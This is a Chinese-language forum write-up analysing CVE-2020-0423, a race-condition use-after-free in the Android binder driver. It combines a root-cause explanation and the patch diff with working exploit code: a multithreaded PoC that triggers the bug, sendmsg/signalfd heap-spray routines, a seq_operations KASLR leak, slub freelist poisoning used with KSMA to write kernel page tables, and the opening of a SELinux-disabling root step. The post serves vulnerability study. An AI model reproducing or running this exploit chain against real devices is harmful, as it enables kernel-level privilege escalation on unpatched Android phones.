首页
论坛
课程
招聘
CVE-2020-0423 android内核提权漏洞分析
2020-12-25 14:44 14622

CVE-2020-0423 android内核提权漏洞分析

2020-12-25 14:44
14622

目录

简介

2020年10月公布了bulletin,这是最近新的提权漏洞,存在于binder中。
这个漏洞大致上是binder的sender和receive端的对binder_node结构体的race condition转化为uaf漏洞,作者进一步触发了double free,结合后续巧妙的堆喷分配,利用slub和ksma机制,绕过kalsr和cfi保护,官方给出影响的版本在Android 8-11之间,详细的英文文章请参考这里https://blog.longterm.io/cve-2020-0423.html

poc的触发

其poc触发形式为:
Thread 1: enter binder_release_work from binder_thread_release
Thread 2: binder_update_ref_for_handle() -> binder_dec_node_ilocked()
Thread 2: dec nodeA --> 0 (will free node)
Thread 1: ACQ inner_proc_lock
Thread 2: block on inner_proc_lock
Thread 1: dequeue work (BINDER_WORK_NODE, part of nodeA)
Thread 1: REL inner_proc_lock
Thread 2: ACQ inner_proc_lock
Thread 2: todo list cleanup, but work was already dequeued
Thread 2: free node
Thread 2: REL inner_proc_lock
Thread 1: deref w->type (UAF)
分开来看的话,
Thread 1: enter binder_release_work from binder_thread_release
Thread 1: ACQ inner_proc_lock 获取锁
Thread 1: dequeue work (BINDER_WORK_NODE, part of nodeA) 从链表中摘除binder_work
Thread 1: REL inner_proc_lock 释放锁
Thread 1: deref w->type (UAF) 引用binder_work->type

 

再来看Thread 2
Thread 2: binder_update_ref_for_handle() -> binder_dec_node_ilocked()
Thread 2: dec nodeA --> 0 (will free node)
Thread 2: block on inner_proc_lock 等待锁被thread释放
Thread 2: ACQ inner_proc_lock 获取锁
Thread 2: todo list cleanup, but work was already dequeued 清空链表
Thread 2: free node 释放binder_node
Thread 2: REL inner_proc_lock 释放锁

 

可以看到binder_work拿到之后, 但是另一个线程紧接这free掉了它,但后续还直接使用它,造成了uaf。
binder_work又是binder_node的成员

1
2
3
4
5
6
7
8
struct binder_node {
    int debug_id;
    spinlock_t lock;
    struct binder_work work; //binder_work
    union {
        struct rb_node rb_node;
        struct hlist_node dead_node;
    };

patch前后

通过patch前后的对比,主要增大了binder_inner_proc_lock(proc);锁的范围。所以这个漏洞也可以说是开发时没有考虑到锁的范围导致的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
// Before the patch
 
static struct binder_work *binder_dequeue_work_head(
                    struct binder_proc *proc,
                    struct list_head *list)
{
    struct binder_work *w;
 
    binder_inner_proc_lock(proc);
    w = binder_dequeue_work_head_ilocked(list);
    binder_inner_proc_unlock(proc);
    return w;
}
 
static void binder_release_work(struct binder_proc *proc,
                struct list_head *list)
{
    struct binder_work *w;
 
    while (1) {
        w = binder_dequeue_work_head(proc, list);
        /*
         * From this point on, there is no lock on `proc` anymore
         * which means `w` could have been freed in another thread and
         * therefore be pointing to dangling memory.
         */
        if (!w)
            return;
 
        switch (w->type) { /* <--- Use-after-free occurs here */
 
// [...]
// After the patch
patch后
static void binder_release_work(struct binder_proc *proc,
                struct list_head *list)
{
    struct binder_work *w;
    enum binder_work_type wtype;
 
    while (1) {
        binder_inner_proc_lock(proc);
        /*
         * Since the lock on `proc` is held while calling
         * `binder_dequeue_work_head_ilocked` and reading the `type` field of
         * the resulting `binder_work` stuct, we can be sure its value has not
         * been tampered with.
         */
        w = binder_dequeue_work_head_ilocked(list); //这里的对binder_work->w加了锁。
        wtype = w ? w->type : 0;
        binder_inner_proc_unlock(proc);
        if (!w)
            return;
 
        switch (wtype) { /* <--- Use-after-free not possible anymore */
 
// [...]

poc可以分为三个阶段触发:

  1. 生成一个transaction来触发bug
  2. 发送BINDER_THREAD_EXIT
  3. 多线程来竞争
    在步骤1中必须包含BINDER_TYPE_BINDER 或者BINDER_TYPE_WEAK_BINDER类型的对象
    引用1

所以poc为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
/*
 * Generates a binder transaction able to trigger the bug
 */
static inline void init_binder_transaction(int nb) {
    /*
     * Writes `nb` times a BINDER_TYPE_BINDER object in the object buffer
     * and updates the offsets in the offset buffer accordingly
     */
    for (int i = 0; i < nb; i++) {
        struct flat_binder_object *fbo =
            (struct flat_binder_object *)((void*)(MEM_ADDR + 0x400LL + i*sizeof(*fbo)));
        fbo->hdr.type = BINDER_TYPE_BINDER;//这时候会创建binder_node
        fbo->binder = i;
        fbo->cookie = i;
        uint64_t *offset = (uint64_t *)((void *)(MEM_ADDR + OFFSETS_START + 8LL*i));
        *offset = i * sizeof(*fbo);
    }
 
    /*
     * Binder transaction data referencing the offset and object buffers
     */
    struct binder_transaction_data btd2 = {
        .flags = TF_ONE_WAY, /* we don't need a reply */
        .data_size = 0x28 * nb,
        .offsets_size = 8 * nb,
        .data.ptr.buffer = MEM_ADDR  + 0x400,
        .data.ptr.offsets = MEM_ADDR + OFFSETS_START,
    };
 
    uint64_t txn_size = sizeof(uint32_t) + sizeof(btd2);
 
    /* Transaction command */
    *(uint32_t*)(MEM_ADDR + 0x200) = BC_TRANSACTION;
    memcpy((void*)(MEM_ADDR + 0x204), &btd2, sizeof(btd2));
 
    /* Binder write/read structure sent to binder */
    struct binder_write_read bwr = {
        .write_size = txn_size * (1), // 1 txno
        .write_buffer = MEM_ADDR + 0x200
    };
    memcpy((void*)(MEM_ADDR + 0x100), &bwr, sizeof(bwr));
}
void *trigger_thread_func(void *argp) {
    unsigned long id = (unsigned long)argp;
    int ret = 0;
    int binder_fd = -1;
    int binder_fd_copy = -1;
 
    // Opening binder device
    binder_fd = open("/dev/binder", O_RDWR);
    if (binder_fd < 0)
        perror("An error occured while opening binder");
 
    for (;;) {
        // Refill the memory region with the transaction
        init_binder_transaction(1);
        // Copying the binder fd
        binder_fd_copy = dup(binder_fd);
        // Sending the transaction
        ret = ioctl(binder_fd_copy, BINDER_WRITE_READ, MEM_ADDR + 0x100); //创建binder_node
        if (ret != 0)
            debug_printf("BINDER_WRITE_READ did not work: %d", ret);
        // Binder thread exit
        ret = ioctl(binder_fd_copy, BINDER_THREAD_EXIT, 0);//从thread->todolist中出列,当返回之时,binder_node也会释放。
        if (ret != 0)
            debug_printf("BINDER_WRITE_EXIT did not work: %d", ret);
        // Closing binder device
        close(binder_fd_copy);
    }
 
    return NULL;
}
int main() {
    pthread_t trigger_threads[NB_TRIGGER_THREADS];
 
    // Memory region for binder transactions
    mmap((void*)MEM_ADDR, MEM_SIZE, PROT_READ | PROT_WRITE,
         MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
 
    // Init random
    srand(time(0));
 
    // Get rid of stdout/stderr buffering
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
 
    // Starting trigger threads
    debug_print("Starting trigger threads");
    for (unsigned long i = 0; i < NB_TRIGGER_THREADS; i++) {
        pthread_create(&trigger_threads[i], NULL, trigger_thread_func, (void*)i);//多线程来触发。
    }
    // Waiting for trigger threads
    for (int i = 0; i < NB_TRIGGER_THREADS; i++)
        pthread_join(trigger_threads[i], NULL);
 
    return 0;
}

作者在Pixel 4设备上Android 10 factory image QQ3A.200805.001 released in August 2020做了尝试。

用户态调用回溯

结合poc来分析为何这样写:

1. 从用户态调用到binder_release_work?

1
2
3
// Userland code from the exploit
int binder_fd = open("/dev/binder", O_RDWR);
ioctl(binder_fd, BINDER_THREAD_EXIT, 0)

这时候通过binder_ioctl调用binder_thread_release——>binder_release_work(proc, &thread->todo); 从而走到以下这里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
static long binder_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
    // [...]
 
    case BINDER_THREAD_EXIT:
        binder_debug(BINDER_DEBUG_THREADS, "%d:%d exit\n",
                    proc->pid, thread->pid);
        binder_thread_release(proc, thread);
        thread = NULL;
        break;
 
    // [...]
static int binder_thread_release(struct binder_proc *proc,
                 struct binder_thread *thread)
{
    // [...]
 
    binder_release_work(proc, &thread->todo);
    binder_thread_dec_tmpref(thread);
    return active_transactions;
}
 
static void binder_release_work(struct binder_proc *proc,
                struct list_head *list)
{
    struct binder_work *w;
 
    while (1) {
        w = binder_dequeue_work_head(proc, list); /* dequeues from thread->todo */
        if (!w)
            return;
 
    // [...]

引用4

2.sender线程加入binder_work到thread->todo链表中:

当sender线程传送的内容里包括BINDER_TYPE_BINDER或者BINDER_TYPE_WEAK_BINDER,binder_node结构体将会创建,接收端的线程同时会有一个引用(如果这个引用变为0,将会释放binder_node)
这时候会调用binder_translate_binder,最终会走到以下代码,可以看到node->work会进入队列thread->todo链表中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
static int binder_translate_binder(struct flat_binder_object *fp,
                   struct binder_transaction *t,
                   struct binder_thread *thread)
{
    // [...]
    ret = binder_inc_ref_for_node(target_proc, node,
            fp->hdr.type == BINDER_TYPE_BINDER,
            &thread->todo, &rdata);
    // [...]
}
static int binder_inc_ref_for_node(struct binder_proc *proc,
            struct binder_node *node,
            bool strong,
            struct list_head *target_list,
            struct binder_ref_data *rdata)
{
    // [...]
    ret = binder_inc_ref_olocked(ref, strong, target_list);
    // [...]
}
static int binder_inc_node_nilocked(struct binder_node *node, int strong,
                    int internal,
                    struct list_head *target_list)
{
    // [...]
    if (strong) {
        // [...]
        if (!node->has_strong_ref && target_list) {
            // [...]
            binder_enqueue_deferred_thread_work_ilocked(thread,
                                   &node->work); //当对这个node节点是强引用时
        }
    } else {
        // [...]
        if (!node->has_weak_ref && list_empty(&node->work.entry)) {
            // [...]
            binder_enqueue_work_ilocked(&node->work, target_list);//当是弱引用时。
        }
    }
    return 0;
}

引用3

3.Freeing the binder_work Structure From the Receiver Thread(接受端线程如何释放binder_work结构体呢)

当binder收到BC_FREE_BUFFER指令时就会调用binder_free_node函数。

1
2
3
4
5
static void binder_free_node(struct binder_node *node)
{
    kfree(node);
    binder_stats_deleted(BINDER_STAT_NODE);
}

引用2

 

注意到也许不用显示的调用BC_FREE_BUFFER时,当binder service一次的transaction的完成时,就会自动用BC_FREE_BUFFER释放发送端的binder_node结构体, 当然也可以寻找ITokenManager service这样的一个服务,充当一个中介,这里面的原理就是有时候不能控制service端,就比如media这样的服务,你无法控制它,毕竟是一个系统service,但是ITokenManager可以让我们既可以控制service端又可以控制client端,如果水滴漏洞采用这样的方式,是不是效率会更高一些。
所以对与binder_node的释放,其实是BC_FREE_BUFFER指令来进行,有的service接收端是自动发送的。
binder_parse函数中,当回复一个transacton时,service manager要么会call binder_free_buffer,如果是单向(one-way)的transaction,就会调用binder_send_reply

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int binder_parse(struct binder_state *bs, struct binder_io *bio,
                 uintptr_t ptr, size_t size, binder_handler func)
{
        // [...]
        switch(cmd) {
        // [...]
        case BR_TRANSACTION_SEC_CTX:
        case BR_TRANSACTION: {
            // [...]
            if (func) {
                // [...]
                if (txn.transaction_data.flags & TF_ONE_WAY) {
                    binder_free_buffer(bs, txn.transaction_data.data.ptr.buffer);
                } else {
                    binder_send_reply(bs, &reply, txn.transaction_data.data.ptr.buffer, res);
                }
            }
            break;
        }
        // [...]

在两种情况下,servicemanager最后都会回复一个BC_FREE_BUFFER,其内核调用流程为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
static int binder_thread_write(struct binder_proc *proc,
            struct binder_thread *thread,
            binder_uintptr_t binder_buffer, size_t size,
            binder_size_t *consumed)
{
        // [...]
        case BC_FREE_BUFFER: {
            // [...]
            binder_transaction_buffer_release(proc, buffer, 0, false);
            // [...]
        }
        // [...]
static void binder_transaction_buffer_release(struct binder_proc *proc,
                          struct binder_buffer *buffer,
                          binder_size_t failed_at,
                          bool is_failure)
{
        // [...]
        switch (hdr->type) {
        // [...]
        case BINDER_TYPE_HANDLE:
        case BINDER_TYPE_WEAK_HANDLE: {
            struct flat_binder_object *fp;
            struct binder_ref_data rdata;
            int ret;
            fp = to_flat_binder_object(hdr);
            ret = binder_dec_ref_for_handle(proc, fp->handle,
                hdr->type == BINDER_TYPE_HANDLE, &rdata);
            // [...]
        } break;
        // [...]
 static int binder_update_ref_for_handle(struct binder_proc *proc,
        uint32_t desc, bool increment, bool strong,
        struct binder_ref_data *rdata)
{
    // [...]
    if (increment)
        ret = binder_inc_ref_olocked(ref, strong, NULL);
    else
        /*
         * Decrements the reference count by one and returns true since it
         * dropped to zero
         */
        delete_ref = binder_dec_ref_olocked(ref, strong);
    // [...]
    /* delete_ref is true, the binder node is freed */
    if (delete_ref)
        binder_free_ref(ref);
    return ret;
    // [...]
}
static void binder_free_ref(struct binder_ref *ref)
{
    if (ref->node)
        binder_free_node(ref->node);
    kfree(ref->death);
    kfree(ref);
}

分析好了poc,从而得到内核crash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<3>[81169.367408] c6  20464 ==================================================================
<3>[81169.367435] c6  20464 BUG: KASAN: use-after-free in binder_release_work+0x84/0x1b8
<3>[81169.367469] c6  20464 Read of size 4 at addr ffffffc053e45850 by task poc/20464
<3>[81169.367481] c6  20464
<4>[81169.367498] c6  20464 CPU: 6 PID: 20464 Comm: poc Tainted: G S      W       4.14.170-g551313822-dirty_audio-g199e9bf #1
<4>[81169.367507] c6  20464 Hardware name: Qualcomm Technologies, Inc. SM8150 V2 PM8150 Google Inc. MSM sm8150 Flame (DT)
<4>[81169.367514] c6  20464 Call trace:
<4>[81169.367530] c6  20464  dump_backtrace+0x0/0x380
<4>[81169.367541] c6  20464  show_stack+0x20/0x2c
<4>[81169.367554] c6  20464  dump_stack+0xc4/0x11c
<4>[81169.367576] c6  20464  print_address_description+0x70/0x240
<4>[81169.367594] c6  20464  kasan_report_error+0x1a0/0x204
<4>[81169.367605] c6  20464  kasan_report_error+0x0/0x204
<4>[81169.367619] c6  20464  __asan_load4+0x80/0x84 //引用
<4>[81169.367631] c6  20464  binder_release_work+0x84/0x1b8
<4>[81169.367644] c6  20464  binder_thread_release+0x2ac/0x2e0
<4>[81169.367655] c6  20464  binder_ioctl+0x9a4/0x122c
<4>[81169.367680] c6  20464  do_vfs_ioctl+0x7c8/0xefc
<4>[81169.367693] c6  20464  SyS_ioctl+0x68/0xa0
<4>[81169.367716] c6  20464  el0_svc_naked+0x34/0x38
<3>[81169.367725] c6  20464
<3>[81169.367734] c6  20464 Allocated by task 20464:
<4>[81169.367747] c6  20464  kasan_kmalloc+0xe0/0x1ac
<4>[81169.367761] c6  20464  kmem_cache_alloc_trace+0x3b8/0x454
<4>[81169.367774] c6  20464  binder_new_node+0x4c/0x394 //分配
<4>[81169.367802] c6  20464  binder_transaction+0x2398/0x4308
<4>[81169.367816] c6  20464  binder_ioctl_write_read+0xc28/0x4dc8
<4>[81169.367826] c6  20464  binder_ioctl+0x650/0x122c
<4>[81169.367836] c6  20464  do_vfs_ioctl+0x7c8/0xefc
<4>[81169.367846] c6  20464  SyS_ioctl+0x68/0xa0
<4>[81169.367862] c6  20464  el0_svc_naked+0x34/0x38
<3>[81169.367868] c6  20464
<4>[81169.367936] c7  20469 CPU7: update max cpu_capacity 989
<3>[81169.368496] c6  20464 Freed by task 594:
<4>[81169.368518] c6  20464  __kasan_slab_free+0x13c/0x21c
<4>[81169.368534] c6  20464  kasan_slab_free+0x10/0x1c
<4>[81169.368549] c6  20464  kfree+0x248/0x810 //释放
<4>[81169.368564] c6  20464  binder_free_ref+0x30/0x64
<4>[81169.368584] c6  20464  binder_update_ref_for_handle+0x294/0x2b0
<4>[81169.368600] c6  20464  binder_transaction_buffer_release+0x46c/0x7a0
<4>[81169.368616] c6  20464  binder_ioctl_write_read+0x21d0/0x4dc8
<4>[81169.368653] c6  20464  binder_ioctl+0x650/0x122c
<4>[81169.368667] c6  20464  do_vfs_ioctl+0x7c8/0xefc
<4>[81169.368684] c6  20464  SyS_ioctl+0x68/0xa0
<4>[81169.368697] c6  20464  el0_svc_naked+0x34/0x38
<3>[81169.368704] c6  20464
<3>[81169.368735] c6  20464 The buggy address belongs to the object at ffffffc053e45800
<3>[81169.368735] c6  20464  which belongs to the cache kmalloc-256 of size 256
<3>[81169.368753] c6  20464 The buggy address is located 80 bytes inside of
<3>[81169.368753] c6  20464  256-byte region [ffffffc053e45800, ffffffc053e45900)
<3>[81169.368767] c6  20464 The buggy address belongs to the page:
<0>[81169.368779] c6  20464 page:ffffffbf014f9100 count:1 mapcount:0 mapping:          (null) index:0x0 compound_mapcount: 0
<0>[81169.368804] c6  20464 flags: 0x10200(slab|head)
<1>[81169.368824] c6  20464 raw: 0000000000010200 0000000000000000 0000000000000000 0000000100150015
<1>[81169.368843] c6  20464 raw: ffffffbf04e39e00 0000000e00000002 ffffffc148c0fa00 0000000000000000
<1>[81169.368867] c6  20464 page dumped because: kasan: bad access detected
<3>[81169.368882] c6  20464
<3>[81169.368894] c6  20464 Memory state around the buggy address:
<3>[81169.368910] c6  20464  ffffffc053e45700: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
<3>[81169.368955] c6  20464  ffffffc053e45780: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
<3>[81169.368984] c6  20464 >ffffffc053e45800: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
<3>[81169.368997] c6  20464                                                  ^
<3>[81169.369012] c6  20464  ffffffc053e45880: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
<3>[81169.369037] c6  20464  ffffffc053e45900: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
<3>[81169.369049] c6  20464 ==================================================================

利用exploit

poc不是难以理解,但exploit我感觉还是挺巧妙的,首先是uaf的漏洞,还是要堆喷, binder_node是128字节大小的cache,这里采用sendmsg和signalfd来做稳定的堆喷, 第一是sendmsg喷完就会马上释放,而在google这篇文章提到signalfd() reallocates the 128-byte heap chunk as an 8-byte allocation and leaves the rest of it uninitialized, signalfd会重新申请128字节大小,这个内容就是刚刚sendmsg释放的,这样就能保证sendmsg的内容能很好的驻留在堆中,signalfd除了用到的几个字段几乎不会改变sendmsg的内容。堆喷可以写成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
void *spray_thread_func(void *argp) {
    struct spray_thread_data *data = (struct spray_thread_data*)argp;
    int delay;
    int msg_buf[SENDMSG_SIZE / sizeof(int)];
    int ctl_buf[SENDMSG_CONTROL_SIZE / sizeof(int)];
    struct msghdr spray_msg;
    struct iovec siov;
    uint64_t sigset_value;
 
    // Sendmsg control buffer initialization
    memset(&spray_msg, 0, sizeof(spray_msg));
    ctl_buf[0] = SENDMSG_CONTROL_SIZE - WORK_STRUCT_OFFSET;
    ctl_buf[6] = 0xdeadbeef; /* w->type value */
    siov.iov_base = msg_buf;
    siov.iov_len = SENDMSG_SIZE;
    spray_msg.msg_iov = &siov;
    spray_msg.msg_iovlen = 1;
    spray_msg.msg_control = ctl_buf;
    spray_msg.msg_controllen = SENDMSG_CONTROL_SIZE - WORK_STRUCT_OFFSET;
 
    for (;;) {
        // Barrier - Before spray
        pthread_barrier_wait(&data->barrier);
 
        // Waiting some time
        delay = rand() % SPRAY_DELAY;
        for (int i = 0; i < delay; i++) {}
 
        for (uint64_t i = 0; i < NB_SIGNALFDS; i++) {
            // Arbitrary signalfd value (will become relevant later)
            sigset_value = ~0;
            // Non-blocking sendmsg
            sendmsg(data->sock_fds[0], &spray_msg, MSG_OOB);
            // Signalfd call to pin sendmsg's control buffer in kernel memory
            signalfd_fds[data->trigger_id][data->spray_id][i] = signalfd(-1, (sigset_t*)&sigset_value, 0);
 
            if (signalfd_fds[data->trigger_id][data->spray_id][i] <= 0)
                debug_printf("Could not open signalfd - %d (%s)\n", signalfd_fds[data->trigger_id][data->spray_id][i], strerror(errno));
        }
 
        // Barrier - After spray
        pthread_barrier_wait(&data->barrier);
    }
 
    return NULL;
}

堆喷完成,被释放的binder_work显然是用户态通过sendmsg填充的内容,内核代码流程就会继续往下执行:w就是可以是我们喷射的内容,就可以被我们控制,走向任何分支。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
static void binder_release_work(struct binder_proc *proc,
                struct list_head *list)
{
    struct binder_work *w;
    while (1) {
        w = binder_dequeue_work_head(proc, list);
        if (!w)
            return;
 
        switch (w->type) {
        case BINDER_WORK_TRANSACTION: {
            struct binder_transaction *t;
            t = container_of(w, struct binder_transaction, work);
            binder_cleanup_transaction(t, "process died.",
                           BR_DEAD_REPLY);
        } break;
        case BINDER_WORK_RETURN_ERROR: {
            struct binder_error *e = container_of(
                    w, struct binder_error, work);
            binder_debug(BINDER_DEBUG_DEAD_TRANSACTION,
                "undelivered TRANSACTION_ERROR: %u\n",
                e->cmd);
        } break;
        case BINDER_WORK_TRANSACTION_COMPLETE: {
            binder_debug(BINDER_DEBUG_DEAD_TRANSACTION,
                "undelivered TRANSACTION_COMPLETE\n");
            kfree(w);
            binder_stats_deleted(BINDER_STAT_TRANSACTION_COMPLETE);
        } break;
        case BINDER_WORK_DEAD_BINDER_AND_CLEAR:
        case BINDER_WORK_CLEAR_DEATH_NOTIFICATION: {
            struct binder_ref_death *death;
            death = container_of(w, struct binder_ref_death, work);
            binder_debug(BINDER_DEBUG_DEAD_TRANSACTION,
                "undelivered death notification, %016llx\n",
                (u64)death->cookie);
            kfree(death);
            binder_stats_deleted(BINDER_STAT_DEATH);
        } break;
        default:
            pr_err("unexpected work type, %d, not freed\n",
                   w->type);
            break;
        }
    }
}

总结一下,无论走到任何一个分支,以上代码都会再次free,就会形成doubule free,如果达到最后的kfree,被控制的binder_node里面的字段需要满足一定的条件。但是不同分支会free的位置不一样,
走到BINDER_WORK_TRANSACTION_COMPLETE,就会free+8的位置。
1.到了分支BINDER_WORK_TRANSACTION will free X
2.BINDER_WORK_TRANSACTION_COMPLETE, BINDER_WORK_DEAD_BINDER_AND_CLEAR and BINDER_WORK_CLEAR_DEATH_NOTIFICATION will free X+8
当选择1时 BINDER_WORK_TRANSACTION,会走入binder_cleanup_transaction函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
static void binder_cleanup_transaction(struct binder_transaction *t,
                       const char *reason,
                       uint32_t error_code)
{
    if (t->buffer->target_node && !(t->flags & TF_ONE_WAY)) {
        binder_send_failed_reply(t, error_code);
    } else {
        binder_debug(BINDER_DEBUG_DEAD_TRANSACTION,
            "undelivered transaction %d, %s\n",
            t->debug_id, reason);
        binder_free_transaction(t);
    }
}
static void binder_free_transaction(struct binder_transaction *t)
{
    struct binder_proc *target_proc = t->to_proc;
    if (target_proc) {
        binder_inner_proc_lock(target_proc);
        if (t->buffer)
            t->buffer->transaction = NULL;
        binder_inner_proc_unlock(target_proc);
    }
    /*
     * If the transaction has no target_proc, then
     * t->buffer->transaction has already been cleared.
     */
    kfree(t); //会最终释放
    binder_stats_deleted(BINDER_STAT_TRANSACTION);
}

关键的一点是double free会导致再次申请的两个objec会发生重叠,这是利用的核心,而且如果达到root最新的手机,必须绕过kalsr保护和cfi保护。

绕过kalsr

核心思想是,既然再次申请的两个object发生重叠,一个包含函数指针,一个能触发读,是不是就可以绕过呢。
signalfd系统调用可以分配128字节的堆cache,它的主要功能是:

  1. 可以读取内核分配到首地址的8字节的内容
  2. 也可以向内核分配的首地址处写入8字节的任意值(当写入时位8和位18总是被置位)。
    这里作者找到/proc/self/stat这个映射文件,当被访问时,128字节大小的seq_operations被分配,并且op->start = single_start;是一个全局的内核函数。
    1
    2
    3
    4
    5
    6
    struct seq_operations {
     void * (*start) (struct seq_file *m, loff_t *pos);
     void (*stop) (struct seq_file *m, void *v);
     void * (*next) (struct seq_file *m, void *v, loff_t *pos);
     int (*show) (struct seq_file *m, void *v);
    };
    当double free时,通过signal分配,并且再次分配seq_operations结构,就会发生重叠,当读取read signal分配的前8个字节,其实读取到的seq_operations的single_start函数的地址,减去基址偏移就可以绕过kalsr(内核地址随机化了)

通过以上理解,读代码时就简单了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int proc_self = open("/proc/self", O_RDONLY);
 
/* Releasing the signalfd object that was corrupted by our overlapping one */
if (corrupt_fd)
    close(corrupt_fd);
 
/* Checking the value read by the overlapping fd */
uint64_t = get_sigfd_sigmask(overlapping_fd);
debug_printf("Value @X after freeing `corrupt_fd`: 0x%lx", mask);
 
/* Allocating seq_operations objects so that it overlaps with our signalfd */
retry:
for (int i = 0; i < NB_SEQ; i++) {
    seq_fd[i] = openat(proc_self, "stat", O_RDONLY);
    if (seq_fd[i] < 0)
        debug_printf("Could not allocate seq ops (%d - %s)", i, strerror(errno));
}
 
/* Reading the value after spraying */
mask = get_sigfd_sigmask(overlapping_fd);
debug_printf("Value @X after spraying seq ops: 0x%lx", mask);
 
/* Checking if the KASLR leak read meets the condition */
kaslr_leak = mask - SINGLE_START;
if ((kaslr_leak & 0xffff) != 0) {
    debug_print("Could not leak KASLR slide");
 
    /* If not, we close all seq_fds are try again */
    for (int i = 0; i < NB_SEQ; i++) {
        close(seq_fd[i]);
    }
 
    goto retry;
}
 
/* If it works we display the KASLR leak */
debug_printf("KASLR slide: %lx", kaslr_leak);

任意读写内核-ksma

KSMA简单的理解就是向内核页表中写入一项描述符,就可以做到用户态可以随意读写内核了,甚至代码段,拿到root岂不是轻而易举了。
引用一张图就是

 

引用5
这里就不细讲了,如果想理解的话,请参考以上pdf。总之我们想让一个内核地址写入一个描述符,应该怎么利用呢。

slub机制

利用了内核的堆分配机制slub, slub中有一个字段叫做freelist指针,它指向最新被free的对象。
而第一个对象的首8个字节,会指向第二个被free的对象,以次类推。
当kmalloc分配时, 将会从freelist指向的object取,并且读取这个object的前8个字节赋给新的freelist。
当kfree时,slub会写当前的freelist指针写入到正在被free的object首地址处,并且更新freelist指针指向这个新的被free掉的object。

kfree时

引用6

 

以上图可以看到kfree(0x1180)后,freelist=0x1180,0x1180的前8个字节=0
kfree(0x1100)后,freelist = 0x1100, 0x1100位置处的前8个字节=0x1180,以此类推。

kmalloc时

引用7
以上图可以看到kmalloc(0x1000), freelist从0x1000变为0x1100
下一次分配,kmalloc(0x1100)时,freelist取出0x1100的前8个字节的地址变为0x1180,所以从0x1100变为0x1180.

 

通过此,利用就有了新思路:
1.当double free发生时,再次申请两次会发生重叠。这时候第一次的被free掉,第二次用signalfd函数对喷,并且通过用户态修改前8个字节,就修改了第一次被free掉的object的指针,再几次分配时freelist指针就会从用户态指定的地址去分配了,前提是保证free掉的object必须还在对应的内核虚拟位置。

 

如果修改slab中的freelist的位置的值,就会分配对象在我们想要的位置:
引用8
当修改0x1100位置的前8个字节为0xDEADBEEF时,等分配到kmalloc(0x80)时,freelist=0xDEADBEEF,再次分配就会分配到0xDEADBEEF,这个地址。
引用9
通过修改free对象的freelist位置的地址,就可以达到任意地址写入任意值的效果。

 

如果最终想实现swapper_pg_dir=*B5F00 = 0x00e8000080000751这样的效果,就能够任意patch内核。
但signalfd的限制就是再写入首8个字节处位8和位18总是被置位 即写入的总是b5xxx | 40100 = f5xxx =0x00e8000080000751
为了解决这个问题,作者在内核中找到了ipa_testbus_mem缓冲区,大小为0x198000,并且缓冲区为0。

 

2.利用被重叠的signalfd覆盖free的对象,修改freelist为ipa_testbus_mem | 0x40100, 下一次分配的为地址ipa_testbus_mem | 0x40100,
再通过堆喷eventfd(0, EFD_NONBLOCK)和sendmsg结合,这样eventfd会block住sendmsg,不让堆内容进行释放。
从而eventfd_ctx结构体的地址=ipa_testbus_mem | 0x40100,同时eventfd_ctx+0x20(count的字段)可以被用户态通过write来修改。
就可以把B5F00地址写入count字段,就相当于写入到ipa_testbus_mem | 0x40100+0x20处,

 

3.这时候free所有的eventfd,并且重新利用重叠的signalfd设置freelist为ipa_testbus_mem | 0x40100 + 0x20,等再次signalfd分配就会分配到B5F00地址,这样通过write调用写入最终的block描述符了 0x00e8000080000751,即绕过了cfi。

后续root部分

1.关掉selinux
2.patch 这个函数sys_capset来替换成shellcode,
3.以及将init's credentials替换到本进程中即可完成提权。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
1. 关掉selinux
/* selinux_enforcing address in the remapped kernel region */
uint64_t selinux_enforcing_addr = base + 0x80000 + SELINUX_ENFORCING;
 
debug_printf("Before: enforcing = %x\n", *(uint32_t *)selinux_enforcing_addr);
 
/* setting selinux_enforcing to 0 */
